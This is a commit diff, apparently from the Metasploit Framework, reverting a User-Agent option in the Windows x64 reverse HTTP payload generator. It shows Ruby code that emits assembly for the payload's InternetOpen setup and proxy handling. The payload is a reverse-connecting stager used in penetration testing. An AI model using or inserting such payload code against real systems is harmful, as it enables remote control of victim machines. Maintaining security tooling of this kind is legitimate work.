Revert "Landing #19725, fixed incorrect processing of HTTP User Agent…

… parameter in x64 reverse HTTP payload (Windows)"

This reverts commit ebf7379, reversing
changes made to 50b1259.

lib/msf/core/payload/windows/x64/reverse_http_x64.rb

@@ -62,7 +62,7 @@ def generate(opts={})
       # Otherwise default to small URIs
       conf[:url]        = luri + generate_small_uri
     end
-  
+
     generate_reverse_http(conf)
   end
 
@@ -168,7 +168,6 @@ def asm_generate_ascii_array(str)
   # @option opts [String] :url The URI to request during staging
   # @option opts [String] :host The host to connect to
   # @option opts [Integer] :port The port to connect to
-  # @option opts [String] :ua The User Agent the payload will use
   # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
   # @option opts [String] :proxy_host The optional proxy server host to use
   # @option opts [Integer] :proxy_port The optional proxy server port to use
@@ -246,21 +245,9 @@ def asm_reverse_http(opts={})
       internetopen:
         push rbx                      ; stack alignment
         push rbx                      ; NULL pointer
+        mov rcx, rsp                  ; lpszAgent ("")
     ^
 
-    if opts[:ua]
-      asm << %Q^
-        call load_useragent
-        db"#{opts[:ua]}", 0x00
-      load_useragent:
-        pop rcx                         ; lpszAgent (stack pointer)
-      ^
-    else
-      asm << %Q^
-        mov rcx, rsp                    ; lpszAgent("")
-      ^
-    end
-
     if proxy_enabled
       asm << %Q^
         push 3